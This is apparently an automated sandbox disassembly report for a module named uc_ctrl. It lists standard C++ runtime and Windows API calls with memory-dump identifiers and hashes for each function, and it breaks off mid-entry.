Part of subcall function 6D1B95EB: __EH_prolog3.LIBCMT ref: 6D1B95F2
Part of subcall function 6D1B95EB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AE611,?,?,?,?,?,00000000), ref: 6D1B95FD
Part of subcall function 6D1B95EB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,00000000), ref: 6D1B9615
Part of subcall function 6D1B95EB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,?,?,00000000), ref: 6D1B9679

std::locale::~locale.LIBCPMT ref: 6D1C452D
?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WJ@Z.MSVCP140(00000000,00000000,?,?,?,00000001,?,?), ref: 6D1C4557
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000028), ref: 6D1C45A4

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2951709258-0
Opcode ID: fe708ab4962dd2fac16c0d0041f4cfebe92993c4530714d43702394bb2ce44ba
Instruction ID: 4ad382326e25aa98f67446e28005dbaed73fa43a2c62c1f64b5371636ab51067
Opcode Fuzzy Hash: fe708ab4962dd2fac16c0d0041f4cfebe92993c4530714d43702394bb2ce44ba
Instruction Fuzzy Hash: C7110675D081449FCB01CFE8C450BFCBBB4AF6D308F15404DE244AB285CBB59A01CB65

Function 6D1C47A0 Relevance: 7.6, APIs: 5, Instructions: 58COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C47A7

Part of subcall function 6D1A7C64: __EH_prolog3.LIBCMT ref: 6D1A7C6B
Part of subcall function 6D1A7C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6D1A7BA3,?,?,?,?,?,?,0000000C,6D1A7B7C,?,6D1A4238,?,969FB934,?,6D1CBDA0), ref: 6D1A7CB7

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000028), ref: 6D1C47D7

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1B95EB: __EH_prolog3.LIBCMT ref: 6D1B95F2
Part of subcall function 6D1B95EB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AE611,?,?,?,?,?,00000000), ref: 6D1B95FD
Part of subcall function 6D1B95EB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,00000000), ref: 6D1B9615
Part of subcall function 6D1B95EB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,?,?,00000000), ref: 6D1B9679

std::locale::~locale.LIBCPMT ref: 6D1C47ED
?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_W_N@Z.MSVCP140(00000000,00000000,?,?,?,00000002,?,?), ref: 6D1C4817
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000028), ref: 6D1C4864

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2951709258-0
Opcode ID: 9a76861ed7a55bba2354b079d4c5a8e427fa0be3564df43cf11daf40498eb650
Instruction ID: 83557ffb89b5cc6639e2960a2f365db7989594d65e928879e7a23ef3f52015f3
Opcode Fuzzy Hash: 9a76861ed7a55bba2354b079d4c5a8e427fa0be3564df43cf11daf40498eb650
Instruction Fuzzy Hash: 0311D675E081449FDB01DFE8C950BFDBBB4AF68308F15404DE645A7289CBB99A01CBA5

Function 6D1C0B00 Relevance: 7.6, APIs: 5, Instructions: 58COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C0B07

Part of subcall function 6D1A7C64: __EH_prolog3.LIBCMT ref: 6D1A7C6B
Part of subcall function 6D1A7C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6D1A7BA3,?,?,?,?,?,?,0000000C,6D1A7B7C,?,6D1A4238,?,969FB934,?,6D1CBDA0), ref: 6D1A7CB7

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000028), ref: 6D1C0B37

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1B9C86: __EH_prolog3.LIBCMT ref: 6D1B9C8D
Part of subcall function 6D1B9C86: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AEAF1,00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6D1B9C98
Part of subcall function 6D1B9C86: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1B9CB0
Part of subcall function 6D1B9C86: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1B9D14

std::locale::~locale.LIBCPMT ref: 6D1C0B4D
?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WPBX@Z.MSVCP140(00000000,00000000,?,?,?,00000002,?,?), ref: 6D1C0B77
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000028), ref: 6D1C0BC4

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2951709258-0
Opcode ID: e9906c12703859b490232262a335eb719039938b84b09a69183234a200b9d6fd
Instruction ID: 84158e4193bc6da69f8bef3758bac84147e018e1fc8b1441a353212353fc6614
Opcode Fuzzy Hash: e9906c12703859b490232262a335eb719039938b84b09a69183234a200b9d6fd
Instruction Fuzzy Hash: 2211D675D051049FCB01DFA8C950BFDBBF5AF58308F15408DE245AB285CBB95A01CB61

Function 6D1C4320 Relevance: 7.6, APIs: 5, Instructions: 58COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C4327

Part of subcall function 6D1A7C64: __EH_prolog3.LIBCMT ref: 6D1A7C6B
Part of subcall function 6D1A7C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6D1A7BA3,?,?,?,?,?,?,0000000C,6D1A7B7C,?,6D1A4238,?,969FB934,?,6D1CBDA0), ref: 6D1A7CB7

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000028), ref: 6D1C4357

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1B95EB: __EH_prolog3.LIBCMT ref: 6D1B95F2
Part of subcall function 6D1B95EB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AE611,?,?,?,?,?,00000000), ref: 6D1B95FD
Part of subcall function 6D1B95EB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,00000000), ref: 6D1B9615
Part of subcall function 6D1B95EB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,?,?,00000000), ref: 6D1B9679

std::locale::~locale.LIBCPMT ref: 6D1C436D
?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WK@Z.MSVCP140(00000000,00000000,?,?,?,00000002,?,?), ref: 6D1C4397
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000028), ref: 6D1C43E4

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2951709258-0
Opcode ID: db7c7305f582a912f72bdcac62adc0da0b06da33d117569155397561554a546b
Instruction ID: 7291027471986508b400bc4e036aae367350351d6cd963445fa192a9c4b75930
Opcode Fuzzy Hash: db7c7305f582a912f72bdcac62adc0da0b06da33d117569155397561554a546b
Instruction Fuzzy Hash: 4411D675E081089FCB01DFA8C550BFDBBB5BF69308F15404DE245A7285CBF99A01CB62

Function 6D1C8350 Relevance: 7.6, APIs: 5, Instructions: 58COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C8357

Part of subcall function 6D1BFEDA: __EH_prolog3.LIBCMT ref: 6D1BFEE1
Part of subcall function 6D1BFEDA: ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6D1C7779,?,00000001,00000008), ref: 6D1BFF16

?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,?,?,?,?,?,?,?,00000018), ref: 6D1C838F
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHD@Z.MSVCP140(00000000,?,?,?,?,?,?,?,?,00000018), ref: 6D1C83AB
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,?,?,?,?,?,?,?,00000018), ref: 6D1C83CE
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000018), ref: 6D1C83F8

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?setstate@?$basic_ios@_?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@?sputc@?$basic_streambuf@H_prolog3H_prolog3_catchIpfx@?$basic_istream@U?$char_traits@_W@std@@@std@@
String ID:
API String ID: 2274809079-0
Opcode ID: 17c5bfe322d65ee6131a433ce7023d00680795077ca79875ffb374c051e4eca1
Instruction ID: 46e59c0ee3e4b73be110a3baf893997770961e7fc0a93c0ac873e8148131a90e
Opcode Fuzzy Hash: 17c5bfe322d65ee6131a433ce7023d00680795077ca79875ffb374c051e4eca1
Instruction Fuzzy Hash: 4221E139908205DBDB01CBA8C5D0BECBBF06F25319F159049E514AB3C6CBF89E45CB92

Function 6D19ABE0 Relevance: 7.6, APIs: 5, Instructions: 52COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6D1F45F0), ref: 6D19ABF6
__Thrd_current.LIBCPMT ref: 6D19ABFC

Part of subcall function 6D19A990: GetCurrentProcess.KERNEL32(?,00000002,00000001,00000000), ref: 6D19A99F
Part of subcall function 6D19A990: GetCurrentThread.KERNEL32 ref: 6D19A9A6
Part of subcall function 6D19A990: GetCurrentProcess.KERNEL32(00000000), ref: 6D19A9AD
Part of subcall function 6D19A990: DuplicateHandle.KERNEL32(00000000), ref: 6D19A9B4
Part of subcall function 6D19A990: CloseHandle.KERNEL32(?), ref: 6D19A9C1
Part of subcall function 6D19A990: GetCurrentThreadId.KERNEL32 ref: 6D19A9CD

__Mtx_unlock.LIBCPMT(6D1F43F8), ref: 6D19AC36
__Cnd_broadcast.LIBCPMT(00000000,6D1F43F8), ref: 6D19AC3E
LeaveCriticalSection.KERNEL32(6D1F45F0), ref: 6D19AC6E

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: Current$CriticalHandleProcessSectionThread$CloseCnd_broadcastDuplicateEnterLeaveMtx_unlockThrd_current
String ID:
API String ID: 1147146509-0
Opcode ID: c867fc0b1e6b1372bda914d8f97c4b4bfe2db269be33e8c2daca23789d7ec797
Instruction ID: 5733f1aa0da364a26173257d0a1e2ee98149ee5b2eb5991047c322bcce1709be
Opcode Fuzzy Hash: c867fc0b1e6b1372bda914d8f97c4b4bfe2db269be33e8c2daca23789d7ec797
Instruction Fuzzy Hash: 9F110431908302DFDB219F14E444BA6B3F0FB44321F010539E5A95B145E7B0685ACBD1

Function 6CEEE5AD Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

TlsFree.KERNEL32(6D1272B4,DAF9CF8C,?,?,00000001,6D045AC4,000000FF,?,6CEEE702,00000000,00000001), ref: 6CEEE5F4
GlobalHandle.KERNEL32(01115168), ref: 6CEEE603
GlobalUnlock.KERNEL32(00000000,?,?,00000001,6D045AC4,000000FF,?,6CEEE702,00000000,00000001), ref: 6CEEE60C
GlobalFree.KERNEL32(00000000), ref: 6CEEE613
DeleteCriticalSection.KERNEL32(6D1272D0,DAF9CF8C,?,?,00000001,6D045AC4,000000FF,?,6CEEE702,00000000,00000001), ref: 6CEEE61D

Part of subcall function 6CEEE867: EnterCriticalSection.KERNEL32(6D1272D0,6D1272B4,00000000,6D1272D0), ref: 6CEEE8E1
Part of subcall function 6CEEE867: LeaveCriticalSection.KERNEL32(6D1272D0,?), ref: 6CEEE8F4
Part of subcall function 6CEEE867: LocalFree.KERNEL32(00000000), ref: 6CEEE8FD
Part of subcall function 6CEEE867: TlsSetValue.KERNEL32(?,00000000), ref: 6CEEE918

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: CriticalFreeGlobalSection$DeleteEnterHandleLeaveLocalUnlockValue
String ID:
API String ID: 1549993015-0
Opcode ID: 74266adb47ca3160c37bcf5eebe4bb6e03b8cdbd8850703d7b9d769c1ad1f5c2
Instruction ID: b268fe80ae5f9f8049316f9c638be9a7663c71a3a7b6a02d1ed16327871f2e13
Opcode Fuzzy Hash: 74266adb47ca3160c37bcf5eebe4bb6e03b8cdbd8850703d7b9d769c1ad1f5c2
Instruction Fuzzy Hash: 92018031601A16EBCB15CF64C908F66BBB8FB0D769F240229F815C3BA0DB35A815CBD0

Function 6D1B28C1 Relevance: 7.5, APIs: 5, Instructions: 46COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6D1B28C8
new.LIBCMT ref: 6D1B28DC

Part of subcall function 6D1CA364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6D1A021B,00000054), ref: 6D1CA38B

Part of subcall function 6D1AE342: __EH_prolog3_GS.LIBCMT ref: 6D1AE349

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,?,00000058,6D1B976E,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6D1B290D
_Getcoll.MSVCP140(?,00000058,6D1B976E,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6D1B2925
??1_Locinfo@std@@QAE@XZ.MSVCP140(?,00000058,6D1B976E,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6D1B2935

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3_Locinfo@std@@$??0_??1_Getcollmalloc
String ID:
API String ID: 1160371535-0
Opcode ID: dd34e7b198fee1166636e51c97177e0d3ad9ae0479a74b7bc2014761183caa95
Instruction ID: 717c690fe28aae07efbfed47b44e3de5e9481a9d061d7d5f3e0f81cf36b1da17
Opcode Fuzzy Hash: dd34e7b198fee1166636e51c97177e0d3ad9ae0479a74b7bc2014761183caa95
Instruction Fuzzy Hash: 54113575E483088EEB20CFA8C910BDDB7F0AF18319F158429D259EB288DBF856448B52

Function 6D1B03D5 Relevance: 7.5, APIs: 5, Instructions: 46COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6D1B03DC
new.LIBCMT ref: 6D1B03F0

Part of subcall function 6D1CA364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6D1A021B,00000054), ref: 6D1CA38B

Part of subcall function 6D1AE342: __EH_prolog3_GS.LIBCMT ref: 6D1AE349

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,?,?,?,?,?,?,00000058,6D1B9E09,00000000,?,?,?,00000004), ref: 6D1B0421
_Getcoll.MSVCP140(?,?,?,?,?,?,00000058,6D1B9E09,00000000,?,?,?,00000004), ref: 6D1B0439
??1_Locinfo@std@@QAE@XZ.MSVCP140(?,?,?,?,?,?,00000058,6D1B9E09,00000000,?,?,?,00000004), ref: 6D1B0449

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3_Locinfo@std@@$??0_??1_Getcollmalloc
String ID:
API String ID: 1160371535-0
Opcode ID: d3686b777fd45fafc3e073f8625bee53a4262af5b239de2c520285d8ce8e5a55
Instruction ID: 9c2834258b650a03cfacf91719f8e214e71bb0f668b78933e8354388d1a1ac3e
Opcode Fuzzy Hash: d3686b777fd45fafc3e073f8625bee53a4262af5b239de2c520285d8ce8e5a55
Instruction Fuzzy Hash: 18115775E483088FEB10CFA8C910BDDB7F0AF18319F158429D25AEB289DBF856448F56

Function 6D1BACD0 Relevance: 7.5, APIs: 5, Instructions: 34COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1BACD7
new.LIBCMT ref: 6D1BACEE

Part of subcall function 6D1CA364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6D1A021B,00000054), ref: 6D1CA38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,00000038,6D1BD904,?,?,00000000,?,?,?,00000004), ref: 6D1BAD08

Part of subcall function 6D1A1410: __EH_prolog3.LIBCMT ref: 6D1A1417
Part of subcall function 6D1A1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6D1A1425
Part of subcall function 6D1A1410: std::bad_exception::bad_exception.LIBCMT ref: 6D1A1467
Part of subcall function 6D1A1410: _CxxThrowException.VCRUNTIME140(?,6D1D3B5C,bad locale name), ref: 6D1A1475
Part of subcall function 6D1A1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6D1A147E

?_Init@?$time_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@IAEXABV_Locinfo@2@@Z.MSVCP140(00000000,00000038,6D1BD904,?,?,00000000,?,?,?,00000004), ref: 6D1BAD1C

Part of subcall function 6D1BC0B0: ?_Gettnames@_Locinfo@std@@QBE?AV_Timevec@2@XZ.MSVCP140(00000000,00000000,00000000,?,6D1BAD21,00000000,00000038,6D1BD904,?,?,00000000,?,?,?,00000004), ref: 6D1BC0BE
Part of subcall function 6D1BC0B0: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000,00000000,?,6D1BAD21,00000000,00000038,6D1BD904,?,?,00000000,?,?,?,00000004), ref: 6D1BC0CE

??1_Locinfo@std@@QAE@XZ.MSVCP140(00000000,00000038,6D1BD904,?,?,00000000,?,?,?,00000004), ref: 6D1BAD26

Part of subcall function 6D1A1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1525
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1534
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1548
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A155A
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A156C
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A157E
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1590

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_D@std@@@std@@@std@@ExceptionGettnames@_Init@?$time_put@Locinfo@2@@Locinfo_ctor@_Locinfo_dtor@_ThrowTimevec@2@U?$char_traits@V12@V12@@V?$ostreambuf_iterator@_lock_localesmallocstd::bad_exception::bad_exception
String ID:
API String ID: 836515089-0
Opcode ID: 1d5526dab9e976a07febd8372fccc51da182b5728d1c6db5ee8d47e8865e380d
Instruction ID: 86e81bf021b4ff7788a3cd0f765e700b422ae1194904e690e2e6f3b4026464e9
Opcode Fuzzy Hash: 1d5526dab9e976a07febd8372fccc51da182b5728d1c6db5ee8d47e8865e380d
Instruction Fuzzy Hash: 17F0B4B4904716CBCB00EFA4C490A5DB7B4FF18714F52452EE649AB248DBF49A40CB82

Function 6D1A2F30 Relevance: 7.5, APIs: 5, Instructions: 34COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1A2F37
new.LIBCMT ref: 6D1A2F4E

